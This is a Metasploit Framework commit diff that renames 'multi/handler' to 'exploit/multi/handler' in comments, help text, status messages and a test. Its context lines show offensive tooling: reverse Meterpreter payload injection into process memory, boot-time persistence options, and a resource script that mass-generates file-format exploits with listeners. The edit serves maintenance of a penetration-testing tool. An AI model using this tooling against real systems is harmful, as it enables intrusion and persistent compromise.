Land #5527, multi/handler -> exploit/multi/handler
commit
8d640a0c8f
|
@ -191,7 +191,7 @@ module Msf::DBManager::Session
|
|||
via_payload: session.via_payload,
|
||||
}
|
||||
|
||||
# In the case of multi handler we cannot yet determine the true
|
||||
# In the case of exploit/multi/handler we cannot yet determine the true
|
||||
# exploit responsible. But we can at least show the parent versus
|
||||
# just the generic handler:
|
||||
if session.via_exploit == "exploit/multi/handler" and sess_data[:datastore]['ParentModule']
|
||||
|
|
|
@ -497,7 +497,7 @@ module Exploit::Remote::HttpServer
|
|||
# bind payload but there's nothing we can do about it.
|
||||
#
|
||||
# NOTE: The address will be *incorrect* in the following two situations:
|
||||
# 1. LHOST is pointed at a multi/handler on some other box.
|
||||
# 1. LHOST is pointed at a exploit/multi/handler on some other box.
|
||||
# 2. SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're
|
||||
# using a bind payload. In that case, we don't have an LHOST and
|
||||
# the source address will be internal.
|
||||
|
|
|
@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
an attacker is able to write arbitrary files to arbitrary locations on disk.
|
||||
|
||||
Code execution occurs by writing to the All Users Startup Programs directory.
|
||||
You may want to combine this module with the use of multi/handler since a
|
||||
You may want to combine this module with the use of exploit/multi/handler since a
|
||||
user would have to log for the payload to execute.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
If you are attempting to obtain multiple reverse shells using this module we
|
||||
recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
|
||||
up a multi/handler to run in the background as a job to support multiple incoming
|
||||
up a exploit/multi/handler to run in the background as a job to support multiple incoming
|
||||
shells.
|
||||
|
||||
If you are interested in deploying payloads to spefic servers this module also
|
||||
|
@ -89,17 +89,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# Define master array to keep track of enumerated database information
|
||||
masterList = Array.new
|
||||
masterList[0] = Hash.new # Define new hash
|
||||
masterList[0]["name"] = "" # Name of the current database server
|
||||
masterList[0]["db_link"] = "" # Name of the linked database server
|
||||
masterList[0]["db_user"] = "" # User configured on the database server link
|
||||
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
|
||||
masterList[0]["db_version"] = "" # Database version of the linked database server
|
||||
masterList[0]["db_os"] = "" # OS of the linked database server
|
||||
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
|
||||
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
|
||||
masterList[0] = Hash.new # Define new hash
|
||||
masterList[0]["name"] = "" # Name of the current database server
|
||||
masterList[0]["db_link"] = "" # Name of the linked database server
|
||||
masterList[0]["db_user"] = "" # User configured on the database server link
|
||||
masterList[0]["db_sysadmin"] = "" # Specifies if the database user configured for the link has sysadmin privileges
|
||||
masterList[0]["db_version"] = "" # Database version of the linked database server
|
||||
masterList[0]["db_os"] = "" # OS of the linked database server
|
||||
masterList[0]["path"] = [[]] # Link path used during crawl - all possible link paths stored
|
||||
masterList[0]["done"] = 0 # Used to determine if linked need to be crawled
|
||||
|
||||
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
|
||||
shelled = Array.new # keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system
|
||||
|
||||
# Setup query for gathering information from database servers
|
||||
versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
|
||||
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post
|
|||
OptInt.new('LPORT',
|
||||
[false, 'Port for Payload to connect to.', 4433]),
|
||||
OptBool.new('HANDLER',
|
||||
[ true, 'Start an Exploit Multi Handler to receive the connection', true])
|
||||
[ true, 'Start an exploit/multi/handler to receive the connection', true])
|
||||
], self.class)
|
||||
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
|
||||
end
|
||||
|
@ -101,7 +101,7 @@ class Metasploit3 < Msf::Post
|
|||
if datastore['HANDLER']
|
||||
listener_job_id = create_multihandler(lhost, lport, payload_name)
|
||||
if listener_job_id.blank?
|
||||
print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
||||
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
@ -208,7 +208,7 @@ class Metasploit3 < Msf::Post
|
|||
timer += 1
|
||||
end
|
||||
end
|
||||
print_status('Stopping multi/handler')
|
||||
print_status('Stopping exploit/multi/handler')
|
||||
framework.jobs.stop_job(listener_job_id)
|
||||
}
|
||||
end
|
||||
|
@ -238,12 +238,12 @@ class Metasploit3 < Msf::Post
|
|||
return false
|
||||
end
|
||||
|
||||
# Starts a multi/handler session
|
||||
# Starts a exploit/multi/handler session
|
||||
def create_multihandler(lhost, lport, payload_name)
|
||||
pay = client.framework.payloads.create(payload_name)
|
||||
pay.datastore['LHOST'] = lhost
|
||||
pay.datastore['LPORT'] = lport
|
||||
print_status('Starting exploit multi handler')
|
||||
print_status('Starting exploit/multi/handler')
|
||||
if !check_for_listener(lhost, lport)
|
||||
# Set options for module
|
||||
mh = client.framework.exploits.create('multi/handler')
|
||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Post
|
|||
OptInt.new('LPORT',
|
||||
[false, 'Port for Payload to connect to.', 4433]),
|
||||
OptBool.new('HANDLER',
|
||||
[ true, 'Start an Exploit Multi Handler to receive the connection', false]),
|
||||
[ true, 'Start an exploit/multi/handler to receive the connection', false]),
|
||||
OptEnum.new('TYPE', [true, 'Scripting environment on target to use for reverse shell',
|
||||
'auto', ['auto','ruby','python','perl','bash']])
|
||||
], self.class)
|
||||
|
@ -111,12 +111,12 @@ class Metasploit3 < Msf::Post
|
|||
return conflict
|
||||
end
|
||||
|
||||
# Starts a multi/handler session
|
||||
# Starts a exploit/multi/handler session
|
||||
def create_multihand(lhost,lport)
|
||||
pay = client.framework.payloads.create("generic/shell_reverse_tcp")
|
||||
pay.datastore['LHOST'] = lhost
|
||||
pay.datastore['LPORT'] = lport
|
||||
print_status("Starting exploit multi handler")
|
||||
print_status("Starting exploit/multi/handler")
|
||||
if not check_for_listner(lhost,lport)
|
||||
# Set options for module
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Post
|
|||
OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]),
|
||||
OptString.new('IPLIST', [true, 'List of semicolom separated IP list.', Rex::Socket.source_address("1.2.3.4")]),
|
||||
OptString.new('PIDLIST', [false, 'List of semicolom separated PID list.', '']),
|
||||
OptBool.new('HANDLER', [false, 'Start new multi/handler job on local box.', false]),
|
||||
OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]),
|
||||
OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1])
|
||||
], self.class)
|
||||
|
||||
|
@ -117,7 +117,7 @@ class Metasploit3 < Msf::Post
|
|||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
print_good("Multi/Handler started!")
|
||||
print_good("exploit/multi/handler started!")
|
||||
end
|
||||
|
||||
# Function for Creating the Payload
|
||||
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Post
|
|||
OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),
|
||||
OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]),
|
||||
OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
|
||||
OptBool.new('HANDLER', [ false, 'Start an Exploit Multi Handler to receive the connection', false]),
|
||||
OptBool.new('HANDLER', [ false, 'Start an exploit/multi/handler to receive the connection', false]),
|
||||
OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."]),
|
||||
OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1])
|
||||
], self.class)
|
||||
|
@ -112,9 +112,9 @@ class Metasploit3 < Msf::Post
|
|||
return pay
|
||||
end
|
||||
|
||||
# Starts a multi/handler session
|
||||
# Starts a exploit/multi/handler session
|
||||
def create_multihand(pay,pay_name,lhost,lport)
|
||||
print_status("Starting exploit multi handler")
|
||||
print_status("Starting exploit/multi/handler")
|
||||
if not check_for_listner(lhost,lport)
|
||||
# Set options for module
|
||||
mul = client.framework.exploits.create("multi/handler")
|
||||
|
|
4
msfcli
4
msfcli
|
@ -95,7 +95,7 @@ class Msfcli
|
|||
$stdout.puts "Error: #{str}\n\n" if str
|
||||
$stdout.puts tbl.to_s + "\n"
|
||||
$stdout.puts "Examples:" + "\n"
|
||||
$stdout.puts "msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n"
|
||||
$stdout.puts "msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E" + "\n"
|
||||
$stdout.puts "msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E" + "\n"
|
||||
$stdout.puts extra + "\n" if extra
|
||||
$stdout.puts
|
||||
|
@ -542,7 +542,7 @@ class Msfcli
|
|||
show_payloads(modules)
|
||||
end
|
||||
when "t"
|
||||
puts
|
||||
puts
|
||||
if modules[:module].file_path =~ /auxiliary\//i
|
||||
$stdout.puts("\nError: This type of module does not support targets")
|
||||
else
|
||||
|
|
|
@ -23,7 +23,7 @@ opts = Rex::Parser::Arguments.new(
|
|||
"-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."],
|
||||
"-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."],
|
||||
"-s" => [ false, "Spawn new executable to inject to. Only useful with -P."],
|
||||
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"]
|
||||
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"]
|
||||
)
|
||||
|
||||
#
|
||||
|
|
|
@ -18,7 +18,7 @@ session = client
|
|||
opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-r" => [ false, "Uninstall an existing Meterpreter service (files must be deleted manually)"],
|
||||
"-A" => [ false, "Automatically start a matching multi/handler to connect to the service"]
|
||||
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the service"]
|
||||
)
|
||||
|
||||
# Exec a command and return the results
|
||||
|
@ -117,7 +117,7 @@ if client.platform =~ /win32|win64/
|
|||
end
|
||||
|
||||
#
|
||||
# Setup the multi/handler if requested
|
||||
# Setup the exploit/multi/handler if requested
|
||||
#
|
||||
if(autoconn)
|
||||
print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
|
||||
|
|
|
@ -20,11 +20,11 @@ payload_type = "windows/meterpreter/reverse_tcp"
|
|||
start_handler = nil
|
||||
@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)"],
|
||||
"-m" => [ false, "Start Exploit multi/handler for return connection"],
|
||||
"-pt" => [ true, "Specify Reverse Connection Meterpreter Payload. Default windows/meterpreter/reverse_tcp"],
|
||||
"-mr" => [ true, "Provide Multiple IP Addresses for Connections separated by comma."],
|
||||
"-mp" => [ true, "Provide Multiple PID for connections separated by comma one per IP."]
|
||||
"-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4444)."],
|
||||
"-m" => [ false, "Start exploit/multi/handler for return connection."],
|
||||
"-pt" => [ true, "Specify reverse connection Meterpreter payload. Default: windows/meterpreter/reverse_tcp"],
|
||||
"-mr" => [ true, "Provide multiple IP addresses for connections separated by comma."],
|
||||
"-mp" => [ true, "Provide multiple PID for connections separated by comma one per IP."]
|
||||
)
|
||||
meter_type = client.platform
|
||||
|
||||
|
@ -33,9 +33,9 @@ meter_type = client.platform
|
|||
# Usage Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def usage
|
||||
print_line "Meterpreter Script for injecting a reverce tcp Meterpreter Payload"
|
||||
print_line "in to memory of multiple PIDs, if none is provided a notepad process."
|
||||
print_line "will be created and a Meterpreter Payload will be injected in to each."
|
||||
print_line "Meterpreter script for injecting a reverce tcp Meterpreter payload"
|
||||
print_line "in to memory of multiple PIDs. If none is provided, a notepad process"
|
||||
print_line "will be created and a Meterpreter payload will be injected in to each."
|
||||
print_line(@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
@ -43,7 +43,7 @@ end
|
|||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
print_error("#{meter} version of Meterpreter is not supported with this script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
|
@ -62,12 +62,12 @@ def inject(target_pid, payload_to_inject)
|
|||
host_process.thread.create(mem, 0)
|
||||
print_good("Successfully injected Meterpreter in to process: #{target_pid}")
|
||||
rescue::Exception => e
|
||||
print_error("Failed to Inject Payload to #{target_pid}!")
|
||||
print_error("Failed to Inject payload to #{target_pid}!")
|
||||
print_error(e)
|
||||
end
|
||||
end
|
||||
|
||||
# Function for Creation of Connection Handler
|
||||
# Function for creation of connection handler
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_multi_handler(payload_to_inject)
|
||||
mul = @client.framework.exploits.create("multi/handler")
|
||||
|
@ -84,7 +84,7 @@ def create_multi_handler(payload_to_inject)
|
|||
|
||||
end
|
||||
|
||||
# Function for Creating the Payload
|
||||
# Function for creating the payload
|
||||
#-------------------------------------------------------------------------------
|
||||
def create_payload(payload_type,lhost,lport)
|
||||
print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
|
||||
|
@ -98,7 +98,7 @@ end
|
|||
# Function starting notepad.exe process
|
||||
#-------------------------------------------------------------------------------
|
||||
def start_proc()
|
||||
print_good("Starting Notepad.exe to house Meterpreter Session.")
|
||||
print_good("Starting Notepad.exe to house Meterpreter session.")
|
||||
proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
|
||||
print_good("Process created with pid #{proc.pid}")
|
||||
return proc.pid
|
||||
|
@ -121,12 +121,12 @@ end
|
|||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
# Check for version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
|
||||
# Create a Multi Handler is Desired
|
||||
# Create a exploit/multi/handler if desired
|
||||
create_multi_handler(payload_type) if start_handler
|
||||
|
||||
# Check to make sure a PID or Program name where provided
|
||||
# Check to make sure a PID or program name where provided
|
||||
|
||||
if multi_ip
|
||||
if multi_pid
|
||||
|
@ -149,4 +149,3 @@ if multi_ip
|
|||
else
|
||||
print_error("You must provide at least one IP!")
|
||||
end
|
||||
|
||||
|
|
|
@ -35,7 +35,7 @@ script_on_target = nil
|
|||
"-X" => [ false, "Automatically start the agent when the system boots"],
|
||||
"-U" => [ false, "Automatically start the agent when the User logs on"],
|
||||
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
|
||||
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],
|
||||
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
|
||||
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
|
||||
"-T" => [ true, "Alternate executable template to use"],
|
||||
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
|
||||
|
@ -138,7 +138,7 @@ def write_script_to_target(target_dir,vbs)
|
|||
return tempvbs
|
||||
end
|
||||
|
||||
# Function for setting multi handler for autocon
|
||||
# Function for setting exploit/multi/handler for autocon
|
||||
#-------------------------------------------------------------------------------
|
||||
def set_handler(selected_payload,rhost,rport)
|
||||
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
|
||||
|
@ -154,7 +154,7 @@ def set_handler(selected_payload,rhost,rport)
|
|||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
print_good("Multi/Handler started!")
|
||||
print_good("exploit/multi/handler started!")
|
||||
end
|
||||
|
||||
# Function to execute script on target and return the PID of the process
|
||||
|
@ -237,7 +237,7 @@ raw = create_payload(payload_type, rhost, rport)
|
|||
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
|
||||
script_on_target = write_script_to_target(target_dir, script)
|
||||
|
||||
# Start Multi/Handler
|
||||
# Start exploit/multi/handler
|
||||
if autoconn
|
||||
set_handler(payload_type, rhost, rport)
|
||||
end
|
||||
|
|
|
@ -21,7 +21,7 @@ opts = Rex::Parser::Arguments.new(
|
|||
"-v" => [ true, "The local port for the VNC proxy service (default: 5900)"],
|
||||
"-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"],
|
||||
"-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"],
|
||||
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"],
|
||||
"-D" => [ false, "Disable the automatic exploit/multi/handler (use with -r to accept on another system)"],
|
||||
"-O" => [ false, "Disable binding the VNC proxy to localhost (open it to the network)"],
|
||||
"-V" => [ false, "Disable the automatic launch of the VNC client"],
|
||||
"-t" => [ false, "Tunnel through the current session connection. (Will be slower)"],
|
||||
|
@ -176,7 +176,7 @@ else
|
|||
end
|
||||
|
||||
if tunnel
|
||||
# Set up a port forward for the multi/handler to use for uploading the stage
|
||||
# Set up a port forward for the exploit/multi/handler to use for uploading the stage
|
||||
print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}")
|
||||
client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}")
|
||||
end
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
<ruby>
|
||||
if (framework.datastore['WIN_PAYL'] != nil)
|
||||
winpayl = framework.datastore['WIN_PAYL']
|
||||
winpayl = framework.datastore['WIN_PAYL']
|
||||
else
|
||||
# no payload defined -> we use a messagebox payload :)
|
||||
winpayl = "windows/messagebox"
|
||||
# no payload defined -> we use a messagebox payload :)
|
||||
winpayl = "windows/messagebox"
|
||||
end
|
||||
|
||||
if (framework.datastore['OSX_PAYL'] != nil)
|
||||
osxpayl = framework.datastore['OSX_PAYL']
|
||||
osxpayl = framework.datastore['OSX_PAYL']
|
||||
else
|
||||
# no payload defined -> we use a generic bind payload :)
|
||||
osxpayl = "generic/shell_bind_tcp"
|
||||
# no payload defined -> we use a generic bind payload :)
|
||||
osxpayl = "generic/shell_bind_tcp"
|
||||
end
|
||||
|
||||
if (framework.datastore['MULTI_PAYL'] != nil)
|
||||
multipayl = framework.datastore['MULTI_PAYL']
|
||||
multipayl = framework.datastore['MULTI_PAYL']
|
||||
else
|
||||
# no payload defined -> we use a generic bind payload :)
|
||||
multipayl = "generic/shell_bind_tcp"
|
||||
# no payload defined -> we use a generic bind payload :)
|
||||
multipayl = "generic/shell_bind_tcp"
|
||||
end
|
||||
|
||||
if (framework.datastore['LHOST'] == nil and (winpayl =~ /reverse/ or osxpayl =~ /reverse/ or multipayl =~ /reverse/))
|
||||
print_error("please define a global LHOST Variable")
|
||||
return
|
||||
print_error("please define a global LHOST Variable")
|
||||
return
|
||||
else
|
||||
localIP = framework.datastore['LHOST']
|
||||
localIP = framework.datastore['LHOST']
|
||||
end
|
||||
|
||||
if (framework.datastore['VERBOSE'] == "true")
|
||||
verbose = 1 #true
|
||||
verbose = 1 #true
|
||||
else
|
||||
verbose = 0
|
||||
verbose = 0
|
||||
end
|
||||
|
||||
if (framework.datastore['HANDLERS'] == "true")
|
||||
handlers = 1 #true
|
||||
handlers = 1 #true
|
||||
else
|
||||
handlers = 0
|
||||
handlers = 0
|
||||
end
|
||||
|
||||
windows = false
|
||||
|
@ -44,66 +44,66 @@ multi = false
|
|||
osx = false
|
||||
|
||||
framework.exploits.each do |exploit,mod|
|
||||
if(exploit.to_s =~ /fileformat/)
|
||||
print_line("generating fileformat exploit: #{exploit.to_s}")
|
||||
run_single("use #{exploit}")
|
||||
if(exploit.to_s =~ /windows/)
|
||||
#we need this info for starting the handlers
|
||||
windows = true
|
||||
#setting the payload
|
||||
run_single("set PAYLOAD #{winpayl}")
|
||||
if(winpayl =~ /reverse/)
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 4444")
|
||||
end
|
||||
elsif(exploit.to_s =~ /multi/)
|
||||
#we need this info for starting the handlers
|
||||
multi = true
|
||||
#setting the payload
|
||||
run_single("set PAYLOAD #{multipayl}")
|
||||
if(winpayl =~ /reverse/)
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 5555")
|
||||
end
|
||||
elsif(exploit.to_s =~ /osx/)
|
||||
#we need this info for starting the handlers
|
||||
osx = true
|
||||
#setting the payload
|
||||
run_single("set PAYLOAD #{osxpayl}")
|
||||
if(osxpayl =~ /reverse/)
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 6666")
|
||||
end
|
||||
end
|
||||
extension = active_module.datastore['FILENAME'].split('.').last
|
||||
filename = exploit.split('/').last
|
||||
run_single("set FILENAME #{filename}.#{extension}")
|
||||
run_single("exploit")
|
||||
print_line
|
||||
end
|
||||
if(exploit.to_s =~ /fileformat/)
|
||||
print_line("generating fileformat exploit: #{exploit.to_s}")
|
||||
run_single("use #{exploit}")
|
||||
if(exploit.to_s =~ /windows/)
|
||||
#we need this info for starting the handlers
|
||||
windows = true
|
||||
#setting the payload
|
||||
run_single("set PAYLOAD #{winpayl}")
|
||||
if(winpayl =~ /reverse/)
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 4444")
|
||||
end
|
||||
elsif(exploit.to_s =~ /multi/)
|
||||
#we need this info for starting the handlers
|
||||
multi = true
|
||||
#setting the payload
|
||||
run_single("set PAYLOAD #{multipayl}")
|
||||
if(winpayl =~ /reverse/)
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 5555")
|
||||
end
|
||||
elsif(exploit.to_s =~ /osx/)
|
||||
#we need this info for starting the handlers
|
||||
osx = true
|
||||
#setting the payload
|
||||
run_single("set PAYLOAD #{osxpayl}")
|
||||
if(osxpayl =~ /reverse/)
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 6666")
|
||||
end
|
||||
end
|
||||
extension = active_module.datastore['FILENAME'].split('.').last
|
||||
filename = exploit.split('/').last
|
||||
run_single("set FILENAME #{filename}.#{extension}")
|
||||
run_single("exploit")
|
||||
print_line
|
||||
end
|
||||
end
|
||||
|
||||
if(handlers == 1)
|
||||
#starting some handlers for reverse connections
|
||||
run_single("use multi/handler")
|
||||
if(windows == true and winpayl =~ /reverse/)
|
||||
run_single("set PAYLOAD #{winpayl}")
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 4444")
|
||||
run_single("exploit -j")
|
||||
end
|
||||
if(multi == true and multipayl =~ /reverse/)
|
||||
run_single("set PAYLOAD #{multipayl}")
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 5555")
|
||||
run_single("exploit -j")
|
||||
end
|
||||
if(osx == true and osxpayl =~ /reverse/)
|
||||
run_single("set PAYLOAD #{osxpayl}")
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 6666")
|
||||
run_single("exploit -j")
|
||||
end
|
||||
#starting some handlers for reverse connections
|
||||
run_single("use exploit/multi/handler")
|
||||
if(windows == true and winpayl =~ /reverse/)
|
||||
run_single("set PAYLOAD #{winpayl}")
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 4444")
|
||||
run_single("exploit -j")
|
||||
end
|
||||
if(multi == true and multipayl =~ /reverse/)
|
||||
run_single("set PAYLOAD #{multipayl}")
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 5555")
|
||||
run_single("exploit -j")
|
||||
end
|
||||
if(osx == true and osxpayl =~ /reverse/)
|
||||
run_single("set PAYLOAD #{osxpayl}")
|
||||
run_single("set LHOST #{localIP}")
|
||||
run_single("set LPORT 6666")
|
||||
run_single("exploit -j")
|
||||
end
|
||||
end
|
||||
run_single("back")
|
||||
</ruby>
|
||||
|
|
|
@ -289,8 +289,8 @@ describe Msfcli, :content do
|
|||
}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
context "#guess_nop_name" do
|
||||
subject(:guess_nop_name) {
|
||||
msfcli.guess_nop_name(nop_reference_name)
|
||||
|
@ -555,8 +555,8 @@ describe Msfcli, :content do
|
|||
expect(modules[:module].fullname).to eq(module_name)
|
||||
end
|
||||
end
|
||||
|
||||
context 'with multi/handler' do
|
||||
|
||||
context 'with exploit/multi/handler' do
|
||||
let(:module_name) {
|
||||
'multi/handler'
|
||||
}
|
||||
|
@ -571,14 +571,14 @@ describe Msfcli, :content do
|
|||
expect(modules[:module]).to be_an Msf::Exploit
|
||||
expect(modules[:module].refname).to eq(module_name)
|
||||
end
|
||||
|
||||
|
||||
context 'with payload' do
|
||||
let(:args) {
|
||||
super().tap { |args|
|
||||
args.insert(-2, "payload=#{payload_reference_name}")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
context 'windows/meterpreter/reverse_tcp' do
|
||||
let(:payload_reference_name) do
|
||||
'windows/meterpreter/reverse_tcp'
|
||||
|
|
Loading…
Reference in New Issue